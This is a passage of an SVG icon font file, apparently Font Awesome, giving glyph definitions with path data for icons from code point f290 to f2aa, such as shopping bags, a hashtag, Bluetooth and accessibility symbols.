<glyph unicode="&#xf290;" horiz-adv-x="1792" d="M1757 128l35 -313q3 -28 -16 -50q-19 -21 -48 -21h-1664q-29 0 -48 21q-19 22 -16 50l35 313h1722zM1664 967l86 -775h-1708l86 775q3 24 21 40.5t43 16.5h256v-128q0 -53 37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5v128h384v-128q0 -53 37.5 -90.5t90.5 -37.5 t90.5 37.5t37.5 90.5v128h256q25 0 43 -16.5t21 -40.5zM1280 1152v-256q0 -26 -19 -45t-45 -19t-45 19t-19 45v256q0 106 -75 181t-181 75t-181 -75t-75 -181v-256q0 -26 -19 -45t-45 -19t-45 19t-19 45v256q0 159 112.5 271.5t271.5 112.5t271.5 -112.5t112.5 -271.5z" />
<glyph unicode="&#xf291;" horiz-adv-x="2048" d="M1920 768q53 0 90.5 -37.5t37.5 -90.5t-37.5 -90.5t-90.5 -37.5h-15l-115 -662q-8 -46 -44 -76t-82 -30h-1280q-46 0 -82 30t-44 76l-115 662h-15q-53 0 -90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5h1792zM485 -32q26 2 43.5 22.5t15.5 46.5l-32 416q-2 26 -22.5 43.5 t-46.5 15.5t-43.5 -22.5t-15.5 -46.5l32 -416q2 -25 20.5 -42t43.5 -17h5zM896 32v416q0 26 -19 45t-45 19t-45 -19t-19 -45v-416q0 -26 19 -45t45 -19t45 19t19 45zM1280 32v416q0 26 -19 45t-45 19t-45 -19t-19 -45v-416q0 -26 19 -45t45 -19t45 19t19 45zM1632 27l32 416 q2 26 -15.5 46.5t-43.5 22.5t-46.5 -15.5t-22.5 -43.5l-32 -416q-2 -26 15.5 -46.5t43.5 -22.5h5q25 0 43.5 17t20.5 42zM476 1244l-93 -412h-132l101 441q19 88 89 143.5t160 55.5h167q0 26 19 45t45 19h384q26 0 45 -19t19 -45h167q90 0 160 -55.5t89 -143.5l101 -441 h-132l-93 412q-11 44 -45.5 72t-79.5 28h-167q0 -26 -19 -45t-45 -19h-384q-26 0 -45 19t-19 45h-167q-45 0 -79.5 -28t-45.5 -72z" />
<glyph unicode="&#xf292;" horiz-adv-x="1792" d="M991 512l64 256h-254l-64 -256h254zM1759 1016l-56 -224q-7 -24 -31 -24h-327l-64 -256h311q15 0 25 -12q10 -14 6 -28l-56 -224q-5 -24 -31 -24h-327l-81 -328q-7 -24 -31 -24h-224q-16 0 -26 12q-9 12 -6 28l78 312h-254l-81 -328q-7 -24 -31 -24h-225q-15 0 -25 12 q-9 12 -6 28l78 312h-311q-15 0 -25 12q-9 12 -6 28l56 224q7 24 31 24h327l64 256h-311q-15 0 -25 12q-10 14 -6 28l56 224q5 24 31 24h327l81 328q7 24 32 24h224q15 0 25 -12q9 -12 6 -28l-78 -312h254l81 328q7 24 32 24h224q15 0 25 -12q9 -12 6 -28l-78 -312h311 q15 0 25 -12q9 -12 6 -28z" />
<glyph unicode="&#xf293;" d="M841 483l148 -148l-149 -149zM840 1094l149 -149l-148 -148zM710 -130l464 464l-306 306l306 306l-464 464v-611l-255 255l-93 -93l320 -321l-320 -321l93 -93l255 255v-611zM1429 640q0 -209 -32 -365.5t-87.5 -257t-140.5 -162.5t-181.5 -86.5t-219.5 -24.5 t-219.5 24.5t-181.5 86.5t-140.5 162.5t-87.5 257t-32 365.5t32 365.5t87.5 257t140.5 162.5t181.5 86.5t219.5 24.5t219.5 -24.5t181.5 -86.5t140.5 -162.5t87.5 -257t32 -365.5z" />
<glyph unicode="&#xf294;" horiz-adv-x="1024" d="M596 113l173 172l-173 172v-344zM596 823l173 172l-173 172v-344zM628 640l356 -356l-539 -540v711l-297 -296l-108 108l372 373l-372 373l108 108l297 -296v711l539 -540z" />
<glyph unicode="&#xf295;" d="M1280 256q0 52 -38 90t-90 38t-90 -38t-38 -90t38 -90t90 -38t90 38t38 90zM512 1024q0 52 -38 90t-90 38t-90 -38t-38 -90t38 -90t90 -38t90 38t38 90zM1536 256q0 -159 -112.5 -271.5t-271.5 -112.5t-271.5 112.5t-112.5 271.5t112.5 271.5t271.5 112.5t271.5 -112.5 t112.5 -271.5zM1440 1344q0 -20 -13 -38l-1056 -1408q-19 -26 -51 -26h-160q-26 0 -45 19t-19 45q0 20 13 38l1056 1408q19 26 51 26h160q26 0 45 -19t19 -45zM768 1024q0 -159 -112.5 -271.5t-271.5 -112.5t-271.5 112.5t-112.5 271.5t112.5 271.5t271.5 112.5 t271.5 -112.5t112.5 -271.5z" />
<glyph unicode="&#xf296;" horiz-adv-x="1792" d="M104 830l792 -1015l-868 630q-18 13 -25 34.5t0 42.5l101 308v0zM566 830h660l-330 -1015v0zM368 1442l198 -612h-462l198 612q8 23 33 23t33 -23zM1688 830l101 -308q7 -21 0 -42.5t-25 -34.5l-868 -630l792 1015v0zM1688 830h-462l198 612q8 23 33 23t33 -23z" />
<glyph unicode="&#xf297;" horiz-adv-x="1792" d="M384 704h160v224h-160v-224zM1221 372v92q-104 -36 -243 -38q-135 -1 -259.5 46.5t-220.5 122.5l1 -96q88 -80 212 -128.5t272 -47.5q129 0 238 49zM640 704h640v224h-640v-224zM1792 736q0 -187 -99 -352q89 -102 89 -229q0 -157 -129.5 -268t-313.5 -111 q-122 0 -225 52.5t-161 140.5q-19 -1 -57 -1t-57 1q-58 -88 -161 -140.5t-225 -52.5q-184 0 -313.5 111t-129.5 268q0 127 89 229q-99 165 -99 352q0 209 120 385.5t326.5 279.5t449.5 103t449.5 -103t326.5 -279.5t120 -385.5z" />
<glyph unicode="&#xf298;" d="M515 625v-128h-252v128h252zM515 880v-127h-252v127h252zM1273 369v-128h-341v128h341zM1273 625v-128h-672v128h672zM1273 880v-127h-672v127h672zM1408 20v1240q0 8 -6 14t-14 6h-32l-378 -256l-210 171l-210 -171l-378 256h-32q-8 0 -14 -6t-6 -14v-1240q0 -8 6 -14 t14 -6h1240q8 0 14 6t6 14zM553 1130l185 150h-406zM983 1130l221 150h-406zM1536 1260v-1240q0 -62 -43 -105t-105 -43h-1240q-62 0 -105 43t-43 105v1240q0 62 43 105t105 43h1240q62 0 105 -43t43 -105z" />
<glyph unicode="&#xf299;" horiz-adv-x="1792" d="M896 720q-104 196 -160 278q-139 202 -347 318q-34 19 -70 36q-89 40 -94 32t34 -38l39 -31q62 -43 112.5 -93.5t94.5 -116.5t70.5 -113t70.5 -131q9 -17 13 -25q44 -84 84 -153t98 -154t115.5 -150t131 -123.5t148.5 -90.5q153 -66 154 -60q1 3 -49 37q-53 36 -81 57 q-77 58 -179 211t-185 310zM549 177q-76 60 -132.5 125t-98 143.5t-71 154.5t-58.5 186t-52 209t-60.5 252t-76.5 289q273 0 497.5 -36t379 -92t271 -144.5t185.5 -172.5t110 -198.5t56 -199.5t12.5 -198.5t-9.5 -173t-20 -143.5t-13 -107l323 -327h-104l-281 285 q-22 -2 -91.5 -14t-121.5 -19t-138 -6t-160.5 17t-167.5 59t-179 111z" />
<glyph unicode="&#xf29a;" horiz-adv-x="1792" d="M1374 879q-6 26 -28.5 39.5t-48.5 7.5q-261 -62 -401 -62t-401 62q-26 6 -48.5 -7.5t-28.5 -39.5t7.5 -48.5t39.5 -28.5q194 -46 303 -58q-2 -158 -15.5 -269t-26.5 -155.5t-41 -115.5l-9 -21q-10 -25 1 -49t36 -34q9 -4 23 -4q44 0 60 41l8 20q54 139 71 259h42 q17 -120 71 -259l8 -20q16 -41 60 -41q14 0 23 4q25 10 36 34t1 49l-9 21q-28 71 -41 115.5t-26.5 155.5t-15.5 269q109 12 303 58q26 6 39.5 28.5t7.5 48.5zM1024 1024q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5z M1600 640q0 -143 -55.5 -273.5t-150 -225t-225 -150t-273.5 -55.5t-273.5 55.5t-225 150t-150 225t-55.5 273.5t55.5 273.5t150 225t225 150t273.5 55.5t273.5 -55.5t225 -150t150 -225t55.5 -273.5zM896 1408q-156 0 -298 -61t-245 -164t-164 -245t-61 -298t61 -298 t164 -245t245 -164t298 -61t298 61t245 164t164 245t61 298t-61 298t-164 245t-245 164t-298 61zM1792 640q0 -182 -71 -348t-191 -286t-286 -191t-348 -71t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71t348 -71t286 -191t191 -286t71 -348z" />
<glyph unicode="&#xf29b;" d="M1438 723q34 -35 29 -82l-44 -551q-4 -42 -34.5 -70t-71.5 -28q-6 0 -9 1q-44 3 -72.5 36.5t-25.5 77.5l35 429l-143 -8q55 -113 55 -240q0 -216 -148 -372l-137 137q91 101 91 235q0 145 -102.5 248t-247.5 103q-134 0 -236 -92l-137 138q120 114 284 141l264 300 l-149 87l-181 -161q-33 -30 -77 -27.5t-73 35.5t-26.5 77t34.5 73l239 213q26 23 60 26.5t64 -14.5l488 -283q36 -21 48 -68q17 -67 -26 -117l-205 -232l371 20q49 3 83 -32zM1240 1180q-74 0 -126 52t-52 126t52 126t126 52t126.5 -52t52.5 -126t-52.5 -126t-126.5 -52z M613 -62q106 0 196 61l139 -139q-146 -116 -335 -116q-148 0 -273.5 73t-198.5 198t-73 273q0 188 116 336l139 -139q-60 -88 -60 -197q0 -145 102.5 -247.5t247.5 -102.5z" />
<glyph unicode="&#xf29c;" d="M880 336v-160q0 -14 -9 -23t-23 -9h-160q-14 0 -23 9t-9 23v160q0 14 9 23t23 9h160q14 0 23 -9t9 -23zM1136 832q0 -50 -15 -90t-45.5 -69t-52 -44t-59.5 -36q-32 -18 -46.5 -28t-26 -24t-11.5 -29v-32q0 -14 -9 -23t-23 -9h-160q-14 0 -23 9t-9 23v68q0 35 10.5 64.5 t24 47.5t39 35.5t41 25.5t44.5 21q53 25 75 43t22 49q0 42 -43.5 71.5t-95.5 29.5q-56 0 -95 -27q-29 -20 -80 -83q-9 -12 -25 -12q-11 0 -19 6l-108 82q-10 7 -12 20t5 23q122 192 349 192q129 0 238.5 -89.5t109.5 -214.5zM768 1280q-130 0 -248.5 -51t-204 -136.5 t-136.5 -204t-51 -248.5t51 -248.5t136.5 -204t204 -136.5t248.5 -51t248.5 51t204 136.5t136.5 204t51 248.5t-51 248.5t-136.5 204t-204 136.5t-248.5 51zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5 t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
<glyph unicode="&#xf29d;" horiz-adv-x="1408" d="M366 1225q-64 0 -110 45.5t-46 110.5q0 64 46 109.5t110 45.5t109.5 -45.5t45.5 -109.5q0 -65 -45.5 -110.5t-109.5 -45.5zM917 583q0 -50 -30 -67.5t-63.5 -6.5t-47.5 34l-367 438q-7 12 -14 15.5t-11 1.5l-3 -3q-7 -8 4 -21l122 -139l1 -354l-161 -457 q-67 -192 -92 -234q-16 -26 -28 -32q-50 -26 -103 -1q-29 13 -41.5 43t-9.5 57q2 17 197 618l5 416l-85 -164l35 -222q4 -24 -1 -42t-14 -27.5t-19 -16t-17 -7.5l-7 -2q-19 -3 -34.5 3t-24 16t-14 22t-7.5 19.5t-2 9.5l-46 299l211 381q23 34 113 34q75 0 107 -40l424 -521 q7 -5 14 -17l3 -3l-1 -1q7 -13 7 -29zM514 433q43 -113 88.5 -225t69.5 -168l24 -55q36 -93 42 -125q11 -70 -36 -97q-35 -22 -66 -16t-51 22t-29 35h-1q-6 16 -8 25l-124 351zM1338 -159q31 -49 31 -57q0 -5 -3 -7q-9 -5 -14.5 0.5t-15.5 26t-16 30.5q-114 172 -423 661 q3 -1 7 1t7 4l3 2q11 9 11 17z" />
<glyph unicode="&#xf29e;" horiz-adv-x="2304" d="M504 542h171l-1 265zM1530 641q0 87 -50.5 140t-146.5 53h-54v-388h52q91 0 145 57t54 138zM956 1018l1 -756q0 -14 -9.5 -24t-23.5 -10h-216q-14 0 -23.5 10t-9.5 24v62h-291l-55 -81q-10 -15 -28 -15h-267q-21 0 -30.5 18t3.5 35l556 757q9 14 27 14h332q14 0 24 -10 t10 -24zM1783 641q0 -193 -125.5 -303t-324.5 -110h-270q-14 0 -24 10t-10 24v756q0 14 10 24t24 10h268q200 0 326 -109t126 -302zM1939 640q0 -11 -0.5 -29t-8 -71.5t-21.5 -102t-44.5 -108t-73.5 -102.5h-51q38 45 66.5 104.5t41.5 112t21 98t9 72.5l1 27q0 8 -0.5 22.5 t-7.5 60t-20 91.5t-41 111.5t-66 124.5h43q41 -47 72 -107t45.5 -111.5t23 -96t10.5 -70.5zM2123 640q0 -11 -0.5 -29t-8 -71.5t-21.5 -102t-45 -108t-74 -102.5h-51q38 45 66.5 104.5t41.5 112t21 98t9 72.5l1 27q0 8 -0.5 22.5t-7.5 60t-19.5 91.5t-40.5 111.5t-66 124.5 h43q41 -47 72 -107t45.5 -111.5t23 -96t10.5 -70.5zM2304 640q0 -11 -0.5 -29t-8 -71.5t-21.5 -102t-44.5 -108t-73.5 -102.5h-51q38 45 66 104.5t41 112t21 98t9 72.5l1 27q0 8 -0.5 22.5t-7.5 60t-19.5 91.5t-40.5 111.5t-66 124.5h43q41 -47 72 -107t45.5 -111.5t23 -96 t9.5 -70.5z" />
<glyph unicode="&#xf2a0;" horiz-adv-x="1408" d="M617 -153q0 11 -13 58t-31 107t-20 69q-1 4 -5 26.5t-8.5 36t-13.5 21.5q-15 14 -51 14q-23 0 -70 -5.5t-71 -5.5q-34 0 -47 11q-6 5 -11 15.5t-7.5 20t-6.5 24t-5 18.5q-37 128 -37 255t37 255q1 4 5 18.5t6.5 24t7.5 20t11 15.5q13 11 47 11q24 0 71 -5.5t70 -5.5 q36 0 51 14q9 8 13.5 21.5t8.5 36t5 26.5q2 9 20 69t31 107t13 58q0 22 -43.5 52.5t-75.5 42.5q-20 8 -45 8q-34 0 -98 -18q-57 -17 -96.5 -40.5t-71 -66t-46 -70t-45.5 -94.5q-6 -12 -9 -19q-49 -107 -68 -216t-19 -244t19 -244t68 -216q56 -122 83 -161q63 -91 179 -127 l6 -2q64 -18 98 -18q25 0 45 8q32 12 75.5 42.5t43.5 52.5zM776 760q-26 0 -45 19t-19 45.5t19 45.5q37 37 37 90q0 52 -37 91q-19 19 -19 45t19 45t45 19t45 -19q75 -75 75 -181t-75 -181q-21 -19 -45 -19zM957 579q-27 0 -45 19q-19 19 -19 45t19 45q112 114 112 272 t-112 272q-19 19 -19 45t19 45t45 19t45 -19q150 -150 150 -362t-150 -362q-18 -19 -45 -19zM1138 398q-27 0 -45 19q-19 19 -19 45t19 45q90 91 138.5 208t48.5 245t-48.5 245t-138.5 208q-19 19 -19 45t19 45t45 19t45 -19q109 -109 167 -249t58 -294t-58 -294t-167 -249 q-18 -19 -45 -19z" />
<glyph unicode="&#xf2a1;" horiz-adv-x="2176" d="M192 352q-66 0 -113 -47t-47 -113t47 -113t113 -47t113 47t47 113t-47 113t-113 47zM704 352q-66 0 -113 -47t-47 -113t47 -113t113 -47t113 47t47 113t-47 113t-113 47zM704 864q-66 0 -113 -47t-47 -113t47 -113t113 -47t113 47t47 113t-47 113t-113 47zM1472 352 q-66 0 -113 -47t-47 -113t47 -113t113 -47t113 47t47 113t-47 113t-113 47zM1984 352q-66 0 -113 -47t-47 -113t47 -113t113 -47t113 47t47 113t-47 113t-113 47zM1472 864q-66 0 -113 -47t-47 -113t47 -113t113 -47t113 47t47 113t-47 113t-113 47zM1984 864 q-66 0 -113 -47t-47 -113t47 -113t113 -47t113 47t47 113t-47 113t-113 47zM1984 1376q-66 0 -113 -47t-47 -113t47 -113t113 -47t113 47t47 113t-47 113t-113 47zM384 192q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM896 192q0 -80 -56 -136 t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM384 704q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM896 704q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM384 1216q0 -80 -56 -136t-136 -56 t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM1664 192q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM896 1216q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM2176 192q0 -80 -56 -136t-136 -56t-136 56 t-56 136t56 136t136 56t136 -56t56 -136zM1664 704q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM2176 704q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136zM1664 1216q0 -80 -56 -136t-136 -56t-136 56t-56 136 t56 136t136 56t136 -56t56 -136zM2176 1216q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136z" />
<glyph unicode="&#xf2a2;" horiz-adv-x="1792" d="M128 -192q0 -26 -19 -45t-45 -19t-45 19t-19 45t19 45t45 19t45 -19t19 -45zM320 0q0 -26 -19 -45t-45 -19t-45 19t-19 45t19 45t45 19t45 -19t19 -45zM365 365l256 -256l-90 -90l-256 256zM704 384q0 -26 -19 -45t-45 -19t-45 19t-19 45t19 45t45 19t45 -19t19 -45z M1411 704q0 -59 -11.5 -108.5t-37.5 -93.5t-44 -67.5t-53 -64.5q-31 -35 -45.5 -54t-33.5 -50t-26.5 -64t-7.5 -74q0 -159 -112.5 -271.5t-271.5 -112.5q-26 0 -45 19t-19 45t19 45t45 19q106 0 181 75t75 181q0 57 11.5 105.5t37 91t43.5 66.5t52 63q40 46 59.5 72 t37.5 74.5t18 103.5q0 185 -131.5 316.5t-316.5 131.5t-316.5 -131.5t-131.5 -316.5q0 -26 -19 -45t-45 -19t-45 19t-19 45q0 117 45.5 223.5t123 184t184 123t223.5 45.5t223.5 -45.5t184 -123t123 -184t45.5 -223.5zM896 576q0 -26 -19 -45t-45 -19t-45 19t-19 45t19 45 t45 19t45 -19t19 -45zM1184 704q0 -26 -19 -45t-45 -19t-45 19t-19 45q0 93 -65.5 158.5t-158.5 65.5q-92 0 -158 -65.5t-66 -158.5q0 -26 -19 -45t-45 -19t-45 19t-19 45q0 146 103 249t249 103t249 -103t103 -249zM1578 993q10 -25 -1 -49t-36 -34q-9 -4 -23 -4 q-19 0 -35.5 11t-23.5 30q-68 178 -224 295q-21 16 -25 42t12 47q17 21 43 25t47 -12q183 -137 266 -351zM1788 1074q9 -25 -1.5 -49t-35.5 -34q-11 -4 -23 -4q-44 0 -60 41q-92 238 -297 393q-22 16 -25.5 42t12.5 47q16 22 42 25.5t47 -12.5q235 -175 341 -449z" />
<glyph unicode="&#xf2a3;" horiz-adv-x="2304" d="M1032 576q-59 2 -84 55q-17 34 -48 53.5t-68 19.5q-53 0 -90.5 -37.5t-37.5 -90.5q0 -56 36 -89l10 -8q34 -31 82 -31q37 0 68 19.5t48 53.5q25 53 84 55zM1600 704q0 56 -36 89l-10 8q-34 31 -82 31q-37 0 -68 -19.5t-48 -53.5q-25 -53 -84 -55q59 -2 84 -55 q17 -34 48 -53.5t68 -19.5q53 0 90.5 37.5t37.5 90.5zM1174 925q-17 -35 -55 -48t-73 4q-62 31 -134 31q-51 0 -99 -17q3 0 9.5 0.5t9.5 0.5q92 0 170.5 -50t118.5 -133q17 -36 3.5 -73.5t-49.5 -54.5q-18 -9 -39 -9q21 0 39 -9q36 -17 49.5 -54.5t-3.5 -73.5 q-40 -83 -118.5 -133t-170.5 -50h-6q-16 2 -44 4l-290 27l-239 -120q-14 -7 -29 -7q-40 0 -57 35l-160 320q-11 23 -4 47.5t29 37.5l209 119l148 267q17 155 91.5 291.5t195.5 236.5q31 25 70.5 21.5t64.5 -34.5t21.5 -70t-34.5 -65q-70 -59 -117 -128q123 84 267 101 q40 5 71.5 -19t35.5 -64q5 -40 -19 -71.5t-64 -35.5q-84 -10 -159 -55q46 10 99 10q115 0 218 -50q36 -18 49 -55.5t-5 -73.5zM2137 1085l160 -320q11 -23 4 -47.5t-29 -37.5l-209 -119l-148 -267q-17 -155 -91.5 -291.5t-195.5 -236.5q-26 -22 -61 -22q-45 0 -74 35 q-25 31 -21.5 70t34.5 65q70 59 117 128q-123 -84 -267 -101q-4 -1 -12 -1q-36 0 -63.5 24t-31.5 60q-5 40 19 71.5t64 35.5q84 10 159 55q-46 -10 -99 -10q-115 0 -218 50q-36 18 -49 55.5t5 73.5q17 35 55 48t73 -4q62 -31 134 -31q51 0 99 17q-3 0 -9.5 -0.5t-9.5 -0.5 q-92 0 -170.5 50t-118.5 133q-17 36 -3.5 73.5t49.5 54.5q18 9 39 9q-21 0 -39 9q-36 17 -49.5 54.5t3.5 73.5q40 83 118.5 133t170.5 50h6h1q14 -2 42 -4l291 -27l239 120q14 7 29 7q40 0 57 -35z" />
<glyph unicode="&#xf2a4;" horiz-adv-x="1792" d="M1056 704q0 -26 19 -45t45 -19t45 19t19 45q0 146 -103 249t-249 103t-249 -103t-103 -249q0 -26 19 -45t45 -19t45 19t19 45q0 93 66 158.5t158 65.5t158 -65.5t66 -158.5zM835 1280q-117 0 -223.5 -45.5t-184 -123t-123 -184t-45.5 -223.5q0 -26 19 -45t45 -19t45 19 t19 45q0 185 131.5 316.5t316.5 131.5t316.5 -131.5t131.5 -316.5q0 -55 -18 -103.5t-37.5 -74.5t-59.5 -72q-34 -39 -52 -63t-43.5 -66.5t-37 -91t-11.5 -105.5q0 -106 -75 -181t-181 -75q-26 0 -45 -19t-19 -45t19 -45t45 -19q159 0 271.5 112.5t112.5 271.5q0 41 7.5 74 t26.5 64t33.5 50t45.5 54q35 41 53 64.5t44 67.5t37.5 93.5t11.5 108.5q0 117 -45.5 223.5t-123 184t-184 123t-223.5 45.5zM591 561l226 -226l-579 -579q-12 -12 -29 -12t-29 12l-168 168q-12 12 -12 29t12 29zM1612 1524l168 -168q12 -12 12 -29t-12 -30l-233 -233 l-26 -25l-71 -71q-66 153 -195 258l91 91l207 207q13 12 30 12t29 -12z" />
<glyph unicode="&#xf2a5;" d="M866 1021q0 -27 -13 -94q-11 -50 -31.5 -150t-30.5 -150q-2 -11 -4.5 -12.5t-13.5 -2.5q-20 -2 -31 -2q-58 0 -84 49.5t-26 113.5q0 88 35 174t103 124q28 14 51 14q28 0 36.5 -16.5t8.5 -47.5zM1352 597q0 14 -39 75.5t-52 66.5q-21 8 -34 8q-91 0 -226 -77l-2 2 q3 22 27.5 135t24.5 178q0 233 -242 233q-24 0 -68 -6q-94 -17 -168.5 -89.5t-111.5 -166.5t-37 -189q0 -146 80.5 -225t227.5 -79q25 0 25 -3t-1 -5q-4 -34 -26 -117q-14 -52 -51.5 -101t-82.5 -49q-42 0 -42 47q0 24 10.5 47.5t25 39.5t29.5 28.5t26 20t11 8.5q0 3 -7 10 q-24 22 -58.5 36.5t-65.5 14.5q-35 0 -63.5 -34t-41 -75t-12.5 -75q0 -88 51.5 -142t138.5 -54q82 0 155 53t117.5 126t65.5 153q6 22 15.5 66.5t14.5 66.5q3 12 14 18q118 60 227 60q48 0 127 -18q1 -1 4 -1q5 0 9.5 4.5t4.5 8.5zM1536 1120v-960q0 -119 -84.5 -203.5 t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
<glyph unicode="&#xf2a6;" horiz-adv-x="1535" d="M744 1231q0 24 -2 38.5t-8.5 30t-21 23t-37.5 7.5q-39 0 -78 -23q-105 -58 -159 -190.5t-54 -269.5q0 -44 8.5 -85.5t26.5 -80.5t52.5 -62.5t81.5 -23.5q4 0 18 -0.5t20 0t16 3t15 8.5t7 16q16 77 48 231.5t48 231.5q19 91 19 146zM1498 575q0 -7 -7.5 -13.5t-15.5 -6.5 l-6 1q-22 3 -62 11t-72 12.5t-63 4.5q-167 0 -351 -93q-15 -8 -21 -27q-10 -36 -24.5 -105.5t-22.5 -100.5q-23 -91 -70 -179.5t-112.5 -164.5t-154.5 -123t-185 -47q-135 0 -214.5 83.5t-79.5 219.5q0 53 19.5 117t63 116.5t97.5 52.5q38 0 120 -33.5t83 -61.5 q0 -1 -16.5 -12.5t-39.5 -31t-46 -44.5t-39 -61t-16 -74q0 -33 16.5 -53t48.5 -20q45 0 85 31.5t66.5 78t48 105.5t32.5 107t16 90v9q0 2 -3.5 3.5t-8.5 1.5h-10t-10 -0.5t-6 -0.5q-227 0 -352 122.5t-125 348.5q0 108 34.5 221t96 210t156 167.5t204.5 89.5q52 9 106 9 q374 0 374 -360q0 -98 -38 -273t-43 -211l3 -3q101 57 182.5 88t167.5 31q22 0 53 -13q19 -7 80 -102.5t61 -116.5z" />
<glyph unicode="&#xf2a7;" horiz-adv-x="1664" d="M831 863q32 0 59 -18l222 -148q61 -40 110 -97l146 -170q40 -46 29 -106l-72 -413q-6 -32 -29.5 -53.5t-55.5 -25.5l-527 -56l-352 -32h-9q-39 0 -67.5 28t-28.5 68q0 37 27 64t65 32l260 32h-448q-41 0 -69.5 30t-26.5 71q2 39 32 65t69 26l442 1l-521 64q-41 5 -66 37 t-19 73q6 35 34.5 57.5t65.5 22.5h10l481 -60l-351 94q-38 10 -62 41.5t-18 68.5q6 36 33 58.5t62 22.5q6 0 20 -2l448 -96l217 -37q1 0 3 -0.5t3 -0.5q23 0 30.5 23t-12.5 36l-186 125q-35 23 -42 63.5t18 73.5q27 38 76 38zM761 661l186 -125l-218 37l-5 2l-36 38 l-238 262q-1 1 -2.5 3.5t-2.5 3.5q-24 31 -18.5 70t37.5 64q31 23 68 17.5t64 -33.5l142 -147l-4 -4t-5 -4q-32 -45 -23 -99t55 -85zM1648 1115l15 -266q4 -73 -11 -147l-48 -219q-12 -59 -67 -87l-106 -54q2 62 -39 109l-146 170q-53 61 -117 103l-222 148q-34 23 -76 23 q-51 0 -88 -37l-235 312q-25 33 -18 73.5t41 63.5q33 22 71.5 14t62.5 -40l266 -352l-262 455q-21 35 -10.5 75t47.5 59q35 18 72.5 6t57.5 -46l241 -420l-136 337q-15 35 -4.5 74t44.5 56q37 19 76 6t56 -51l193 -415l101 -196q8 -15 23 -17.5t27 7.5t11 26l-12 224 q-2 41 26 71t69 31q39 0 67 -28.5t30 -67.5z" />
<glyph unicode="&#xf2a8;" horiz-adv-x="1792" d="M335 180q-2 0 -6 2q-86 57 -168.5 145t-139.5 180q-21 30 -21 69q0 9 2 19t4 18t7 18t8.5 16t10.5 17t10 15t12 15.5t11 14.5q184 251 452 365q-110 198 -110 211q0 19 17 29q116 64 128 64q18 0 28 -16l124 -229q92 19 192 19q266 0 497.5 -137.5t378.5 -369.5 q20 -31 20 -69t-20 -69q-91 -142 -218.5 -253.5t-278.5 -175.5q110 -198 110 -211q0 -20 -17 -29q-116 -64 -127 -64q-19 0 -29 16l-124 229l-64 119l-444 820l7 7q-58 -24 -99 -47q3 -5 127 -234t243 -449t119 -223q0 -7 -9 -9q-13 -3 -72 -3q-57 0 -60 7l-456 841 q-39 -28 -82 -68q24 -43 214 -393.5t190 -354.5q0 -10 -11 -10q-14 0 -82.5 22t-72.5 28l-106 197l-224 413q-44 -53 -78 -106q2 -3 18 -25t23 -34l176 -327q0 -10 -10 -10zM1165 282l49 -91q273 111 450 385q-180 277 -459 389q67 -64 103 -148.5t36 -176.5 q0 -106 -47 -200.5t-132 -157.5zM848 896q0 -20 14 -34t34 -14q86 0 147 -61t61 -147q0 -20 14 -34t34 -14t34 14t14 34q0 126 -89 215t-215 89q-20 0 -34 -14t-14 -34zM1214 961l-9 4l7 -7z" />
<glyph unicode="&#xf2a9;" horiz-adv-x="1280" d="M1050 430q0 -215 -147 -374q-148 -161 -378 -161q-232 0 -378 161q-147 159 -147 374q0 147 68 270.5t189 196.5t268 73q96 0 182 -31q-32 -62 -39 -126q-66 28 -143 28q-167 0 -280.5 -123t-113.5 -291q0 -170 112.5 -288.5t281.5 -118.5t281 118.5t112 288.5 q0 89 -32 166q66 13 123 49q41 -98 41 -212zM846 619q0 -192 -79.5 -345t-238.5 -253l-14 -1q-29 0 -62 5q83 32 146.5 102.5t99.5 154.5t58.5 189t30 192.5t7.5 178.5q0 69 -3 103q55 -160 55 -326zM791 947v-2q-73 214 -206 440q88 -59 142.5 -186.5t63.5 -251.5z M1035 744q-83 0 -160 75q218 120 290 247q19 37 21 56q-42 -94 -139.5 -166.5t-204.5 -97.5q-35 54 -35 113q0 37 17 79t43 68q46 44 157 74q59 16 106 58.5t74 100.5q74 -105 74 -253q0 -109 -24 -170q-32 -77 -88.5 -130.5t-130.5 -53.5z" />
<glyph unicode="&#xf2aa;" d="M1050 495q0 78 -28 147q-41 -25 -85 -34q22 -50 22 -114q0 -117 -77 -198.5t-193 -81.5t-193.5 81.5t-77.5 198.5q0 115 78 199.5t193 84.5q53 0 98 -19q4 43 27 87q-60 21 -125 21q-154 0 -257.5 -108.5t-103.5 -263.5t103.5 -261t257.5 -106t257.5 106.5t103.5 260.5z M872 850q2 -24 2 -71q0 -63 -5 -123t-20.5 -132.5t-40.5 -130t-68.5 -106t-100.5 -70.5q21 -3 42 -3h10q219 139 219 411q0 116 -38 225zM872 850q-4 80 -44 171.5t-98 130.5q92 -156 142 -302zM1207 955q0 102 -51 174q-41 -86 -124 -109q-69 -19 -109 -53.5t-40 -99.5 q0 -40 24 -77q74 17 140.5 67t95.5 115q-4 -52 -74.5 -111.5t-138.5 -97.5q52 -52 110 -52q51 0 90 37t60 90q17 43 17 117zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5 t84.5 -203.5z" />
